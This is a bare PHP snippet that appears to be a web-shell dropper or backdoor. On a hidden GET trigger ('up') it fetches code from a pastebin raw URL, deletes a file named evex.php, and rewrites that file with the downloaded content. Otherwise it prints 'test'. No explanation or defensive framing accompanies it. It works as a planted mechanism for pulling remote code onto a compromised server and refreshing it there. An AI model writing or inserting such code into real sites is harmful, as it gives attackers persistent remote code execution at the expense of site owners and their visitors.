if(array_keys($_GET)[0] == 'up'){
$content = file_get_contents("http://pastebin . com/raw.php?i=JK5r7NyS");
if($content){unlink('evex.php');
$fh2 = fopen("evex.php", 'a');
fwrite($fh2,$content);
fclose($fh2);
}}else{print "test";}